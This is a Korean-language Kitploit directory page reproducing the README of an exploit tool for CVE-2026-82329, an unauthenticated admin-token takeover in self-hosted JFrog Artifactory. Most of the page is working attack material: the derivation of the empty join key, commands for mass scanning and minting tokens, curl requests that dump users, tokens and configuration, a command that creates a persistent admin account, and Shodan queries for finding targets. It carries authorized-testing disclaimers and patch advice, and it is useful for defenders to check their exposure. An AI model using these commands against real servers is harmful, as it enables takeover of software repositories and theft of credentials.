Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-82329-JFrog-Artifactory-Auth-Bypass — CVE-2026-82329에 대한 익스플로잇으로, 자체 호스팅 JFrog Artifactory의 인증되지 않은 인증 우회를 통해 빈 조인 키로 관리자 토큰을 탈취할 수 있습니다. | Kitploit
도구/GitHubGitHub/ynsmroztas/cve-2026-82329-jfrog-artifactory-auth-bypass
Authentication & AuthorizationVulnerability ScannersExploitationWeb Application ExploitationPenetration Testing
GitHubynsmroztas/cve-2026-82329-jfrog-artifactory-auth-bypass

CVE-2026-82329-JFrog-Artifactory-Auth-Bypass

CVE-2026-82329에 대한 익스플로잇으로, 자체 호스팅 JFrog Artifactory의 인증되지 않은 인증 우회를 통해 빈 조인 키로 관리자 토큰을 탈취할 수 있습니다.

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기
18시간 50분 전아직 검토되지 않음

artifactory.py

artifactory.py — CVE-2026-82329 unauth admin takeover

root@kitploit:~
╔══════════════════════════════════════════════════════════╗
║  artifactory  ·  CVE-2026-82329 unauth admin takeover    ║
║  mitsec       ·  https://x.com/ynsmroztas                ║
╚══════════════════════════════════════════════════════════╝

CVE-2026-82329 — JFrog Artifactory(자체 호스팅) 인증 없는 join-JWT
→ SERVICE admin 토큰 → 플랫폼 applied-permissions/admin 액세스 토큰.

CVSS 9.8 · CWE-287 · CISA KEV · 야생에서 악용됨.

승인된 테스트 전용입니다. 소유하지 않았거나 서면 승인을 받지 않은 시스템에 대해 실행하지 마십시오.


기능

기본 자체 호스팅 설치 환경은 빈 조인 키를 신뢰합니다.

root@kitploit:~
JoinKeyUtils.getSigningKey("")  ==  pkcs7(empty, 32)  ==  32 × 0x20
kid = SHA256("") = e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

클라우드 호스팅 JFrog는 패치되었습니다. 자체 호스팅만 해당됩니다.

액세스 수정 라인: 7.191.14.


설치

root@kitploit:~
# 표준 라이브러리만 사용 — pip 불필요
python3 artifactory.py -h

TLS 검증은 기본적으로 꺼져 있습니다(자체 서명 Artifactory는 정상입니다).
추가 플래그 없음.


사용법

root@kitploit:~
# 단일 호스트
python3 artifactory.py -u https://artifactory.example.internal:8082

# 발급된 관리자 토큰 출력
python3 artifactory.py -u https://TARGET:8082 --token

# 목록 / 파이프라인 (httpx, shodan, subfinder 스타일)
python3 artifactory.py -l hosts.txt --threads 8
cat hosts.txt | python3 artifactory.py

# Pro / Enterprise 전용 — 로컬 관리자 영구화(파괴적)
python3 artifactory.py -u https://TARGET:8082 --create-admin auditor:ChangeMe_1

출력

root@kitploit:~
[VULN]  https://TARGET:8082  join=201 svc_scp=admin admin token scp=applied-permissions/admin aud=* config=200/42020b tokens=200 version=7.161.19
[SAFE]  https://patched:8082  join HTTP 401  (patched / no blank key)
[FAIL]  https://dead:8082     unreachable
태그의미
VULN빈 조인 수락 + 관리자 증명( 또는 토큰 목록 = 200)

--token은 Bearer 값을 출력합니다. 그것이 바로 탈취입니다 — 로그인 사용자는 선택 사항입니다.

--create-admin은 OSS에서 종종 400을 반환합니다(PUT /artifactory/api/security/users는 Pro 전용).
관리자 토큰은 여전히 작동합니다. 유효한 발견에 영구화는 필요하지 않습니다.


적중 후 — 토큰 사용

TARGET을 교체하고 --token의 토큰을 붙여넣으세요.

root@kitploit:~
TOKEN='eyJ...'          # --token의 출력
B='https://TARGET:8082'

# 버전 / 에디션
curl -sk -H "Authorization: Bearer $TOKEN" \
  "$B/artifactory/api/system/version"

# 사용자 디렉토리 (관리자)
curl -sk -H "Authorization: Bearer $TOKEN" \
  "$B/access/api/v2/users"

# 인스턴스의 모든 액세스 토큰
curl -sk -H "Authorization: Bearer $TOKEN" \
  "$B/access/api/v1/tokens" | head -c 400

# 저장소 인벤토리
curl -sk -H "Authorization: Bearer $TOKEN" \
  "$B/artifactory/api/repositories"

기타 유용한 관리자 전용 읽기(승인 없이 쓰지 마십시오):

root@kitploit:~
curl -sk -H "Authorization: Bearer $TOKEN" \
  "$B/artifactory/api/system/configuration" -o config.xml

curl -sk -H "Authorization: Bearer $TOKEN" \
  "$B/artifactory/api/security/users"

curl -sk -H "Authorization: Bearer $TOKEN" \
  "$B/access/api/v1/tokens"

UI: 플랫폼 → 액세스 토큰으로 로그인하거나 모든 요청에
Authorization: Bearer <token>을 보내세요.

선택적 영구 사용자 (Pro / Access v2)

root@kitploit:~
curl -sk -D- -X POST "$B/access/api/v2/users" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"username":"auditor","email":"[email protected]","password":"ChangeMe_1Aa","admin":true}'

비밀번호 정책 400 ≠ 취약하지 않음. 토큰에는 이미 aud=*가 있습니다.


정찰

root@kitploit:~
# Shodan
http.component:"Artifactory" port:8081,8082
title:"Artifactory" "JFrog"
http.html:"/artifactory/webapp"
ssl.cert.subject.CN:"artifactory"

# 일반 포트
8081  8082  8040  8046  443

도구는 -u에서 /artifactory /ui /webapp을 제거하고 동일한 오리진의 Access 라우터와 통신합니다.


--create-admin이 발견 사항이 아닌 이유

영향을 다음과 같이 보고하세요: 인증 없는 플랫폼 관리자 토큰.
사용자 생성은 후속 작업이지 근본 문제가 아닙니다.


참고 자료

  • NVD — CVE-2026-82329
  • JFrog 보안 권고
  • 자체 관리 릴리스 / 패치
  • 실습 + 패치 diff: dinosn/cve-2026-82329-jfrog-artifactory

면책 조항

이 저장소는 테스트 권한이 있는 시스템을 위한 검증기입니다.
제3자 인프라에서 토큰 발급, 사용자 목록 조회 또는 계정 생성은 허가 없이 불법입니다.

패치: 브랜치에 맞는 수정 빌드로 업그레이드하고, 실제 조인 키를 설정하고, 공개 후 발급된 토큰을 교체하세요.


mitsec · @ynsmroztas

도구 다운로드
단계요청결과
1HS256 조인 JWT 위조(iat 신선, skip_node_registration=true)알려진 HMAC 비밀
2POST /access/api/v1/registry/join201 SERVICE 토큰 scp=admin
3POST /access/api/v1/tokens200 관리자 토큰 scp=applied-permissions/admin aud=*
4GET /artifactory/api/system/configuration관리자 전용 증명(인증 없음 = 401)
브랜치취약 ≤수정
7.1117.111.207.111.21
7.1177.117.277.117.28
7.1257.125.197.125.20
7.1337.133.287.133.29
7.1467.146.377.146.38
7.1617.161.197.161.20
configuration
SAFE조인 거부 — 패치됨, 추가 조인 키 설정됨, 또는 Access가 아님
INFO조인 발급됨, 증명 엔드포인트가 200이 아님 — 수동 검사 필요
FAIL네트워크 / 시간 초과
표면OSSPro / Enterprise
관리자 액세스 토큰 발급예예
구성 / 토큰 목록 / 저장소 읽기예예
PUT /artifactory/api/security/users400 Pro 전용200/201
POST /access/api/v2/users버전 / 정책 종속201